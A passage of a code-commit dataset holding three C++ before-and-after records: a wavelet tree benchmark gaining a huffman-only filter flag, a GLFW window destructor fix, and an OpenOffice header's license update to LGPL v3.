1;\n  unsigned int nr_runs = 5;\n  bool list_algorithms_only = false;\n  bool run_only_parallel = false;\n  bool run_only_sequential = false;\n  bool no_trees = false;\n  bool no_matrices = false;\n  bool memory = false;\n  bool check = false;\n  bool debug_print = false;\n\n  tlx::CmdlineParser cp;\n\n  cp.set_description(\"Parallel Wavelet Tree and Wavelet Matrix Construction\");\n  cp.set_author(\"Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\\n\"\n    \"        Marvin Löbel <loebel.marvin@gmail.com>\");\n\n  cp.add_stringlist('f', \"file\", file_paths, \"Path(s) to the text file(s).\");\n  cp.add_string('n', \"name\", filter,\n        \"Runs all algorithms that contain the <name> in their name\");\n  cp.add_uint('b', \"byte\", word_width, \"Bytes per char in the input text.\");\n  cp.add_uint('r', \"runs\", nr_runs,\n    \"Number of repetitions of the construction algorithm.\");\n  cp.add_flag('l', \"list\", list_algorithms_only,\n    \"Print the name and description of all registered algorithms\");\n  cp.add_flag('p', \"parallel\", run_only_parallel,\n    \"Run only parallel construction algorithms.\");\n  cp.add_flag('s', \"sequential\", run_only_sequential,\n    \"Run only sequential construction algorithms.\");\n  cp.add_flag('\\0', \"no_trees\", no_trees,\n    \"Skip all wavelet trees construction algorithms.\");\n  cp.add_flag('\\0', \"no_matrices\", no_matrices,\n    \"Skip all wavelet matrices construction algorithms.\");\n  cp.add_flag('\\0', \"memory\", memory,\n    \"Compute peak memory during construction.\");\n  cp.add_flag('c', \"check\", check,\n    \"Check the constructed wavelet structure for validity.\");\n  cp.add_flag('d', \"debug_print\", debug_print,\n    \"Output the bit vectors in a human readable format to stdout.\");\n\n  if (!cp.process(argc, argv)) {\n    return -1;\n  }\n\n  int returncode = 0;\n\n  auto& algo_list = algorithm_list::get_algorithm_list();\n  if (list_algorithms_only) {\n    for (const auto& a : algo_list) {\n      a->print_info();\n    }\n    return 0;\n  }\n\n  for (const auto& path : file_paths) {\n    std::cout << std::endl << \"Text: \" << path << std::endl;\n    void* txt_prt = nullptr;\n    uint64_t text_size = 0;\n    uint64_t max_char = 0;\n    uint64_t levels = 0;\n    std::vector<uint8_t> text_uint8;\n    std::vector<uint16_t> text_uint16;\n    std::vector<uint32_t> text_uint32;\n    std::vector<uint64_t> text_uint64;\n#ifdef MALLOC_COUNT\n    malloc_count_reset_peak();\n#endif\n    if (word_width == 1) {\n      text_uint8 = file_to_vector<1>(path);\n      text_size = text_uint8.size();\n      max_char = reduce_alphabet(text_uint8);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint8;\n    } else if (word_width == 2) {\n      text_uint16 = file_to_vector<2>(path);\n      text_size = text_uint16.size();\n      max_char = reduce_alphabet(text_uint16);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint16;\n    } else if (word_width == 4) {\n      text_uint32 = file_to_vector<4>(path);\n      text_size = text_uint32.size();\n      max_char = reduce_alphabet(text_uint32);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint32;\n    } else if (word_width == 8) {\n      text_uint64 = file_to_vector<8>(path);\n      text_size = text_uint64.size();\n      max_char = reduce_alphabet(text_uint64);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint64;\n    } else {\n      std::cerr << \"You entered an invalid number of bytes per character \"\n                   \"(parameter 'b').\" << std::endl;\n      return -1;\n    }\n    std::cout << \"Characters: \" << text_size << std::endl;\n#ifdef MALLOC_COUNT\n    if (memory) {\n      std::cout << \"Memory peak text: \" << malloc_count_peak() << \" B, \"\n                << malloc_count_peak() \/ (1024 * 1024) << \" MiB\" << std::endl;\n    }\n#endif \/\/ MALLOC_COUNT\n    for (const auto& a : algo_list) {\n      GUARD_LOOP(filter == \"\" || (a->name().find(filter) != std::string::npos));\n      GUARD_LOOP(a->word_width() == word_width);\n      GUARD_LOOP(filter_parallel(run_only_parallel, a->is_parallel()));\n      GUARD_LOOP(filter_sequential(run_only_sequential, a->is_parallel()));\n      GUARD_LOOP(filter_wavelet_type(a->is_tree(), no_trees, no_matrices));\n\n      std::cout << \"RESULT \" << \"algo=\" << a->name() << ' ';\n      if (memory) {\n#ifdef MALLOC_COUNT\n        malloc_count_reset_peak();\n        a->memory_peak(txt_prt, text_size, levels);\n        std::cout << \"memory=\" << malloc_count_peak() << ' ';\n#else\n        std::cout << \"Memory measurement is NOT enabled.\"\n                  << std::endl;\n#endif \/\/ MALLOC_COUNT\n      }\n      std::cout << \"runs=\" << nr_runs << \" \";\n      std::cout << \"median_time=\" << a->median_time(\n        txt_prt, text_size, levels, nr_runs) << ' ';\n      std::cout << \"input=\" << path << ' '\n                << \"characters=\" << text_size << ' '\n                << \"word_width=\" << word_width << std::endl;\n\n      if (debug_print || check) {\n        auto structure =\n          a->compute_bitvector(txt_prt, text_size, levels);\n        if (debug_print) {\n          print_structure(std::cout, structure);\n        }\n        if (check) {\n          if (word_width != 1) {\n            std::cout << \"WARNING:\"\n                      << \" Can only check texts over 1-byte alphabets\\n\";\n          } else {\n            construction_algorithm const* naive = nullptr;\n            if ((a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wm_naive\";\n              }).at(0);\n            }\n            if ((a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wm_naive\";\n              }).at(0);\n            }\n            assert(naive != nullptr);\n            auto naive_wx =\n            naive->compute_bitvector(txt_prt, text_size, levels);\n            bool err_trigger = false;\n            auto check_err = [&](bool cond, auto const& msg) {\n              if (!cond) {\n                std::cout << \"ERROR: \" << msg << std::endl;\n                err_trigger = true;\n              }\n              return cond;\n            };\n\n            if (check_err(structure.levels() == naive_wx.levels(),\n                          \"structures have different level sizes\")) {\n              if (!a->is_tree()) {\n                size_t sl = structure.levels();\n                check_err(structure.zeros().size() == sl,\n                          \"structure zeros too short\");\n                if (sl > 0) {\n                  auto sz = structure.zeros();\n                  auto nz = naive_wx.zeros();\n                  sz.pop_back();\n                  nz.pop_back();\n                  check_err(sz == nz, \"zeros arrays differ\");\n                }\n              }\n              auto& sbvs = structure.bvs();\n              auto& nbvs = naive_wx.bvs();\n              for (size_t l = 0; l < structure.levels(); l++) {\n                auto sbs = sbvs.level_bit_size(l);\n                auto nbs = nbvs.level_bit_size(l);\n                if(check_err(sbs == nbs,\n                             std::string(\"bit size differs on level \")\n                             + std::to_string(l))) {\n                  for (uint64_t bi = 0; bi < sbs; bi++) {\n                    if(!check_err(\n                      bit_at(sbvs[l], bi) == bit_at(nbvs[l], bi),\n                       std::string(\"bit \")\n                       + std::to_string(bi)\n                       + \" differs on level \"\n                       + std::to_string(l))) {\n                      break;\n                    }\n                  }\n                }\n              }\n            }\n            if (err_trigger) { returncode = -2;\n            } else {\n              std::cout << \"Output structurally OK\" << std::endl;\n            }\n\n            if (err_trigger) {\n              if (!debug_print) {\n                std::cout << \"Output:\\n\";\n                print_structure(std::cout, structure);\n              }\n              std::cout << \"Naive result as comparison:\\n\";\n              print_structure(std::cout, naive_wx);\n            }\n\n            auto pvec = [](auto const& v) {\n              std::cout << \"[\";\n              for (auto e : v) {\n                  std::cout << uint64_t(e) << \", \";\n              }\n              std::cout << \"]\\n\";\n            };\n\n            std::string decoded = decode_structure(structure);\n            if (std::equal(text_uint8.begin(), text_uint8.end(),\n                           decoded.begin(), decoded.end())) {\n              std::cout << \"Output decoded OK\" << std::endl;\n            } else {\n              std::cout << \"ERROR:\"\n                        << \"Decoded output not equal to input!\"\n                        << std::endl;\n              std::cout << \"Input:\" << std::endl;\n              pvec(text_uint8);\n              std::cout << \"Decoded:\" << std::endl;\n              pvec(decoded);\n            }\n          }\n          std::cout << std::endl;\n        }\n      }\n    }\n  }\n  return returncode;\n}\n\n\/******************************************************************************\/\n<commit_msg>Add filter for huffman-shaped algorithms<commit_after>\/*******************************************************************************\n * src\/benchmark.cpp\n *\n * Copyright (C) 2017 Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\n *\n * All rights reserved. Published under the BSD-2 license in the LICENSE file.\n ******************************************************************************\/\n\n#include <tlx\/cmdline_parser.hpp>\n#include <vector>\n\n#include \"benchmark\/algorithm.hpp\"\n#include \"util\/alphabet_util.hpp\"\n#include \"util\/file_util.hpp\"\n#include \"util\/print.hpp\"\n#include \"util\/structure_decode.hpp\"\n\n#ifdef MALLOC_COUNT\n#include \"benchmark\/malloc_count.h\"\n#endif \/\/ MALLOC_COUNT\n\n#define GUARD_LOOP(x) if (!(x)) { continue; }\n\nauto filter_parallel(bool only_parallel, bool is_parallel) {\n  return (!only_parallel || is_parallel);\n}\n\nauto filter_sequential(bool sequential, bool is_parallel) {\n  return (!sequential || !is_parallel);\n}\n\nauto filter_wavelet_type(bool is_tree, bool no_trees, bool no_matrices) {\n  return (is_tree ? !no_trees : !no_matrices);\n}\n\nint32_t main(int32_t argc, char const* argv[]) {\n  std::vector<std::string> file_paths;\n  std::string filter = \"\";\n  unsigned int word_width = 1;\n  unsigned int nr_runs = 5;\n  bool list_algorithms_only = false;\n  bool run_only_parallel = false;\n  bool run_only_sequential = false;\n  bool run_only_huffman = false;\n  bool no_trees = false;\n  bool no_matrices = false;\n  bool memory = false;\n  bool check = false;\n  bool debug_print = false;\n\n  tlx::CmdlineParser cp;\n\n  cp.set_description(\"Parallel Wavelet Tree and Wavelet Matrix Construction\");\n  cp.set_author(\"Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\\n\"\n    \"        Marvin Löbel <loebel.marvin@gmail.com>\");\n\n  cp.add_stringlist('f', \"file\", file_paths, \"Path(s) to the text file(s).\");\n  cp.add_string('n', \"name\", filter,\n        \"Runs all algorithms that contain the <name> in their name\");\n  cp.add_uint('b', \"byte\", word_width, \"Bytes per char in the input text.\");\n  cp.add_uint('r', \"runs\", nr_runs,\n    \"Number of repetitions of the construction algorithm.\");\n  cp.add_flag('l', \"list\", list_algorithms_only,\n    \"Print the name and description of all registered algorithms\");\n\n  cp.add_flag('p', \"parallel\", run_only_parallel,\n    \"Run only parallel construction algorithms.\");\n  cp.add_flag('s', \"sequential\", run_only_sequential,\n    \"Run only sequential construction algorithms.\");\n  cp.add_flag('h', \"huffman\", run_only_huffman,\n    \"Run only huffman-shaped construction algorithms.\");\n  cp.add_flag('\\0', \"no_trees\", no_trees,\n    \"Skip all wavelet trees construction algorithms.\");\n  cp.add_flag('\\0', \"no_matrices\", no_matrices,\n    \"Skip all wavelet matrices construction algorithms.\");\n\n  cp.add_flag('\\0', \"memory\", memory,\n    \"Compute peak memory during construction.\");\n  cp.add_flag('c', \"check\", check,\n    \"Check the constructed wavelet structure for validity.\");\n  cp.add_flag('d', \"debug_print\", debug_print,\n    \"Output the bit vectors in a human readable format to stdout.\");\n\n  if (!cp.process(argc, argv)) {\n    return -1;\n  }\n\n  int returncode = 0;\n\n  auto& algo_list = algorithm_list::get_algorithm_list();\n  if (list_algorithms_only) {\n    for (const auto& a : algo_list) {\n      a->print_info();\n    }\n    return 0;\n  }\n\n  for (const auto& path : file_paths) {\n    std::cout << std::endl << \"Text: \" << path << std::endl;\n    void* txt_prt = nullptr;\n    uint64_t text_size = 0;\n    uint64_t max_char = 0;\n    uint64_t levels = 0;\n    std::vector<uint8_t> text_uint8;\n    std::vector<uint16_t> text_uint16;\n    std::vector<uint32_t> text_uint32;\n    std::vector<uint64_t> text_uint64;\n#ifdef MALLOC_COUNT\n    malloc_count_reset_peak();\n#endif\n    if (word_width == 1) {\n      text_uint8 = file_to_vector<1>(path);\n      text_size = text_uint8.size();\n      max_char = reduce_alphabet(text_uint8);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint8;\n    } else if (word_width == 2) {\n      text_uint16 = file_to_vector<2>(path);\n      text_size = text_uint16.size();\n      max_char = reduce_alphabet(text_uint16);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint16;\n    } else if (word_width == 4) {\n      text_uint32 = file_to_vector<4>(path);\n      text_size = text_uint32.size();\n      max_char = reduce_alphabet(text_uint32);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint32;\n    } else if (word_width == 8) {\n      text_uint64 = file_to_vector<8>(path);\n      text_size = text_uint64.size();\n      max_char = reduce_alphabet(text_uint64);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint64;\n    } else {\n      std::cerr << \"You entered an invalid number of bytes per character \"\n                   \"(parameter 'b').\" << std::endl;\n      return -1;\n    }\n    std::cout << \"Characters: \" << text_size << std::endl;\n#ifdef MALLOC_COUNT\n    if (memory) {\n      std::cout << \"Memory peak text: \" << malloc_count_peak() << \" B, \"\n                << malloc_count_peak() \/ (1024 * 1024) << \" MiB\" << std::endl;\n    }\n#endif \/\/ MALLOC_COUNT\n    for (const auto& a : algo_list) {\n      GUARD_LOOP(filter == \"\" || (a->name().find(filter) != std::string::npos));\n      GUARD_LOOP(a->word_width() == word_width);\n      GUARD_LOOP(filter_parallel(run_only_parallel, a->is_parallel()));\n      GUARD_LOOP(filter_sequential(run_only_sequential, a->is_parallel()));\n      GUARD_LOOP(filter_wavelet_type(a->is_tree(), no_trees, no_matrices));\n      GUARD_LOOP((!run_only_huffman) || a->is_huffman_shaped());\n\n      std::cout << \"RESULT \" << \"algo=\" << a->name() << ' ';\n      if (memory) {\n#ifdef MALLOC_COUNT\n        malloc_count_reset_peak();\n        a->memory_peak(txt_prt, text_size, levels);\n        std::cout << \"memory=\" << malloc_count_peak() << ' ';\n#else\n        std::cout << \"Memory measurement is NOT enabled.\"\n                  << std::endl;\n#endif \/\/ MALLOC_COUNT\n      }\n      std::cout << \"runs=\" << nr_runs << \" \";\n      std::cout << \"median_time=\" << a->median_time(\n        txt_prt, text_size, levels, nr_runs) << ' ';\n      std::cout << \"input=\" << path << ' '\n                << \"characters=\" << text_size << ' '\n                << \"word_width=\" << word_width << std::endl;\n\n      if (debug_print || check) {\n        auto structure =\n          a->compute_bitvector(txt_prt, text_size, levels);\n        if (debug_print) {\n          print_structure(std::cout, structure);\n        }\n        if (check) {\n          if (word_width != 1) {\n            std::cout << \"WARNING:\"\n                      << \" Can only check texts over 1-byte alphabets\\n\";\n          } else {\n            construction_algorithm const* naive = nullptr;\n            if ((a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wm_naive\";\n              }).at(0);\n            }\n            if ((a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wm_naive\";\n              }).at(0);\n            }\n            assert(naive != nullptr);\n            auto naive_wx =\n            naive->compute_bitvector(txt_prt, text_size, levels);\n            bool err_trigger = false;\n            auto check_err = [&](bool cond, auto const& msg) {\n              if (!cond) {\n                std::cout << \"ERROR: \" << msg << std::endl;\n                err_trigger = true;\n              }\n              return cond;\n            };\n\n            if (check_err(structure.levels() == naive_wx.levels(),\n                          \"structures have different level sizes\")) {\n              if (!a->is_tree()) {\n                size_t sl = structure.levels();\n                check_err(structure.zeros().size() == sl,\n                          \"structure zeros too short\");\n                if (sl > 0) {\n                  auto sz = structure.zeros();\n                  auto nz = naive_wx.zeros();\n                  sz.pop_back();\n                  nz.pop_back();\n                  check_err(sz == nz, \"zeros arrays differ\");\n                }\n              }\n              auto& sbvs = structure.bvs();\n              auto& nbvs = naive_wx.bvs();\n              for (size_t l = 0; l < structure.levels(); l++) {\n                auto sbs = sbvs.level_bit_size(l);\n                auto nbs = nbvs.level_bit_size(l);\n                if(check_err(sbs == nbs,\n                             std::string(\"bit size differs on level \")\n                             + std::to_string(l))) {\n                  for (uint64_t bi = 0; bi < sbs; bi++) {\n                    if(!check_err(\n                      bit_at(sbvs[l], bi) == bit_at(nbvs[l], bi),\n                       std::string(\"bit \")\n                       + std::to_string(bi)\n                       + \" differs on level \"\n                       + std::to_string(l))) {\n                      break;\n                    }\n                  }\n                }\n              }\n            }\n            if (err_trigger) { returncode = -2;\n            } else {\n              std::cout << \"Output structurally OK\" << std::endl;\n            }\n\n            if (err_trigger) {\n              if (!debug_print) {\n                std::cout << \"Output:\\n\";\n                print_structure(std::cout, structure);\n              }\n              std::cout << \"Naive result as comparison:\\n\";\n              print_structure(std::cout, naive_wx);\n            }\n\n            auto pvec = [](auto const& v) {\n              std::cout << \"[\";\n              for (auto e : v) {\n                  std::cout << uint64_t(e) << \", \";\n              }\n              std::cout << \"]\\n\";\n            };\n\n            std::string decoded = decode_structure(structure);\n            if (std::equal(text_uint8.begin(), text_uint8.end(),\n                           decoded.begin(), decoded.end())) {\n              std::cout << \"Output decoded OK\" << std::endl;\n            } else {\n              std::cout << \"ERROR:\"\n                        << \"Decoded output not equal to input!\"\n                        << std::endl;\n              std::cout << \"Input:\" << std::endl;\n              pvec(text_uint8);\n              std::cout << \"Decoded:\" << std::endl;\n              pvec(decoded);\n            }\n          }\n          std::cout << std::endl;\n        }\n      }\n    }\n  }\n  return returncode;\n}\n\n\/******************************************************************************\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"window.h\"\n\nnamespace EPITOME\n{\n\tGL_Window::GL_Window(int width, int height, char* title)\n\t{\n\t\t\/\/Initialize GLFW\n\t\tif (!glfwInit())\n\t\t{\n\t\t\t\/\/TODO: Improve error handling\n\t\t\tfprintf(stderr, \"GLFW initialization failure.\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\tglfwWindowHint(GLFW_SAMPLES, 4);\n\t\tglfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n\t\tglfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\t\tglfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n\n\t\twindow = glfwCreateWindow(width, height, title, NULL, NULL);\n\t\t\n\t\tif (window == NULL)\n\t\t{\n\t\t\t\/\/TODO: Improve error handling here as well\n\t\t\tfprintf(stderr, \"GLFW window failed.\\n\");\n\t\t\tglfwTerminate();\n\t\t\treturn;\n\t\t}\n\t\tglfwMakeContextCurrent(window);\n\t}\n\n\tGL_Window::GL_Window(const GL_Window& win)\n\t{\n\t\twindow = win.get_window_handle();\n\t}\n\n\tGL_Window::~GL_Window()\n\t{\n\t\tglfwTerminate();\n\t}\n\n\tGLFWwindow* GL_Window::get_window_handle() const\n\t{\n\t\treturn window;\n\t}\n}<commit_msg>Made sure that the destruction of one window won't kill the rest<commit_after>#include \"window.h\"\n\nnamespace EPITOME\n{\n\tGL_Window::GL_Window(int width, int height, char* title)\n\t{\n\t\t\/\/Initialize GLFW\n\t\tif (!glfwInit())\n\t\t{\n\t\t\t\/\/TODO: Improve error handling\n\t\t\tfprintf(stderr, \"GLFW initialization failure.\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\tglfwWindowHint(GLFW_SAMPLES, 4);\n\t\tglfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n\t\tglfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\t\tglfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n\n\t\twindow = glfwCreateWindow(width, height, title, NULL, NULL);\n\t\t\n\t\tif (window == NULL)\n\t\t{\n\t\t\t\/\/TODO: Improve error handling here as well\n\t\t\tfprintf(stderr, \"GLFW window failed.\\n\");\n\t\t\tglfwTerminate();\n\t\t\treturn;\n\t\t}\n\t\tglfwMakeContextCurrent(window);\n\t}\n\n\tGL_Window::GL_Window(const GL_Window& win)\n\t{\n\t\twindow = win.get_window_handle();\n\t}\n\n\tGL_Window::~GL_Window()\n\t{\n\t\tglfwDestroyWindow(window);\n\t}\n\n\tGLFWwindow* GL_Window::get_window_handle() const\n\t{\n\t\treturn window;\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: delayevent.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: rt $ $Date: 2007-11-09 10:19:03 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef INCLUDED_SLIDESHOW_DELAYEVENT_HXX\n#define INCLUDED_SLIDESHOW_DELAYEVENT_HXX\n\n#include \"event.hxx\"\n#include <boost\/noncopyable.hpp>\n#include <boost\/function.hpp>\n#if defined(VERBOSE) && defined(DBG_UTIL)\n#include \"boost\/current_function.hpp\"\n#endif\n\nnamespace slideshow {\nnamespace internal {\n\n\/** Event, which delays the functor call the given amount of time\n *\/\nclass Delay : public Event, private ::boost::noncopyable\n{\npublic:\n    typedef ::boost::function0<void> FunctorT;\n\n    template <typename FuncT>\n    Delay( FuncT const& func, double nTimeout )\n        : mnTimeout(nTimeout), maFunc(func), mbWasFired(false) {}\n\n#if defined(VERBOSE) && defined(DBG_UTIL)\n    Delay( const boost::function0<void>& func,\n           double nTimeout,\n           char const* const  ) :\n#else\n    Delay( const boost::function0<void>& func,\n           double nTimeout ) :\n#endif\n        mnTimeout(nTimeout),\n        maFunc(func),\n        mbWasFired(false) {}\n\n    \/\/ Event:\n    virtual bool fire();\n    virtual bool isCharged() const;\n    virtual double getActivationTime( double nCurrentTime ) const;\n    \/\/ Disposable:\n    virtual void dispose();\n\nprivate:\n    double const mnTimeout;\n    FunctorT maFunc;\n    bool mbWasFired;\n};\n\n#if OSL_DEBUG_LEVEL < 1\n\n\/** Generate delay event\n\n    @param func\n    Functor to call when the event fires.\n\n    @param nTimeout\n    Timeout in seconds, to wait until functor is called.\n\n    @return generated delay event\n*\/\ntemplate <typename FuncT>\ninline EventSharedPtr makeDelay( FuncT const& func, double nTimeout )\n{\n    return EventSharedPtr( new Delay( func, nTimeout ) );\n}\n\n\/** Generate immediate event\n\n    @param func\n    Functor to call when the event fires.\n\n    @return generated immediate event.\n*\/\ntemplate <typename FuncT>\ninline EventSharedPtr makeEvent( FuncT const& func )\n{\n    return EventSharedPtr( new Delay( func, 0.0 ) );\n}\n\n#else \/\/ OSL_DEBUG_LEVEL > 1\n\nclass Delay_ : public Delay {\npublic:\n    template <typename FuncT>\n    Delay_( FuncT const& func, double nTimeout,\n            char const* from_function, char const* from_file, int from_line )\n        : Delay(func, nTimeout),\n          FROM_FUNCTION(from_function),\n          FROM_FILE(from_file), FROM_LINE(from_line) {}\n\n    char const* const FROM_FUNCTION;\n    char const* const FROM_FILE;\n    int const FROM_LINE;\n};\n\ntemplate <typename FuncT>\ninline EventSharedPtr makeDelay_(\n    FuncT const& func, double nTimeout,\n    char const* from_function, char const* from_file, int from_line )\n{\n    return EventSharedPtr( new Delay_( func, nTimeout,\n                                       from_function, from_file, from_line ) );\n}\n\n#define makeDelay(f, t) makeDelay_(f, t, \\\nBOOST_CURRENT_FUNCTION, __FILE__, __LINE__)\n#define makeEvent(f) makeDelay_(f, 0.0, \\\nBOOST_CURRENT_FUNCTION, __FILE__, __LINE__)\n\n#endif \/\/ OSL_DEBUG_LEVEL < 1\n\n} \/\/ namespace internal\n} \/\/ namespace presentation\n\n#endif \/* INCLUDED_SLIDESHOW_DELAYEVENT_HXX *\/\n<commit_msg>INTEGRATION: CWS changefileheader (1.9.30); FILE MERGED 2008\/03\/31 14:00:27 rt 1.9.30.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: delayevent.hxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef INCLUDED_SLIDESHOW_DELAYEVENT_HXX\n#define INCLUDED_SLIDESHOW_DELAYEVENT_HXX\n\n#include \"event.hxx\"\n#include <boost\/noncopyable.hpp>\n#include <boost\/function.hpp>\n#if defined(VERBOSE) && defined(DBG_UTIL)\n#include \"boost\/current_function.hpp\"\n#endif\n\nnamespace slideshow {\nnamespace internal {\n\n\/** Event, which delays the functor call the given amount of time\n *\/\nclass Delay : public Event, private ::boost::noncopyable\n{\npublic:\n    typedef ::boost::function0<void> FunctorT;\n\n    template <typename FuncT>\n    Delay( FuncT const& func, double nTimeout )\n        : mnTimeout(nTimeout), maFunc(func), mbWasFired(false) {}\n\n#if defined(VERBOSE) && defined(DBG_UTIL)\n    Delay( const boost::function0<void>& func,\n           double nTimeout,\n           char const* const  ) :\n#else\n    Delay( const boost::function0<void>& func,\n           double nTimeout ) :\n#endif\n        mnTimeout(nTimeout),\n        maFunc(func),\n        mbWasFired(false) {}\n\n    \/\/ Event:\n    virtual bool fire();\n    virtual bool isCharged() const;\n    virtual double getActivationTime( double nCurrentTime ) const;\n    \/\/ Disposable:\n    virtual void dispose();\n\nprivate:\n    double const mnTimeout;\n    FunctorT maFunc;\n    bool mbWasFired;\n};\n\n#if OSL_DEBUG_LEVEL < 1\n\n\/** Generate delay event\n\n    @param func\n    Functor to call when the event fires.\n\n    @param nTimeout\n    Timeout in seconds, to wait until functor is called.\n\n    @return generated delay event\n*\/\ntemplate <typename FuncT>\ninline EventSharedPtr makeDelay( FuncT const& func, double nTimeout )\n{\n    return EventSharedPtr( new Delay( func, nTimeout ) );\n}\n\n\/** Generate immediate event\n\n    @param func\n    Functor to call when the event fires.\n\n    @return generated immediate event.\n*\/\ntemplate <typename FuncT>\ninline EventSharedPtr makeEvent( FuncT const& func )\n{\n    return EventSharedPtr( new Delay( func, 0.0 ) );\n}\n\n#else \/\/ OSL_DEBUG_LEVEL > 1\n\nclass Delay_ : public Delay {\npublic:\n    template <typename FuncT>\n    Delay_( FuncT const& func, double nTimeout,\n            char const* from_function, char const* from_file, int from_line )\n        : Delay(func, nTimeout),\n          FROM_FUNCTION(from_function),\n          FROM_FILE(from_file), FROM_LINE(from_line) {}\n\n    char const* const FROM_FUNCTION;\n    char const* const FROM_FILE;\n    int const FROM_LINE;\n};\n\ntemplate <typename FuncT>\ninline EventSharedPtr makeDelay_(\n    FuncT const& func, double nTimeout,\n    char const* from_function, char const* from_file, int from_line )\n{\n    return EventSharedPtr( new Delay_( func, nTimeout,\n                                       from_function, from_file, from_line ) );\n}\n\n#define makeDelay(f, t) makeDelay_(f, t, \\\nBOOST_CURRENT_FUNCTION, __FILE__, __LINE__)\n#define makeEvent(f) makeDelay_(f, 0.0, \\\nBOOST_CURRENT_FUNCTION, __FILE__, __LINE__)\n\n#endif \/\/ OSL_DEBUG_LEVEL < 1\n\n} \/\/ namespace internal\n} \/\/ namespace presentation\n\n#endif \/* INCLUDED_SLIDESHOW_DELAYEVENT_HXX *\/\n<|endoftext|>"}
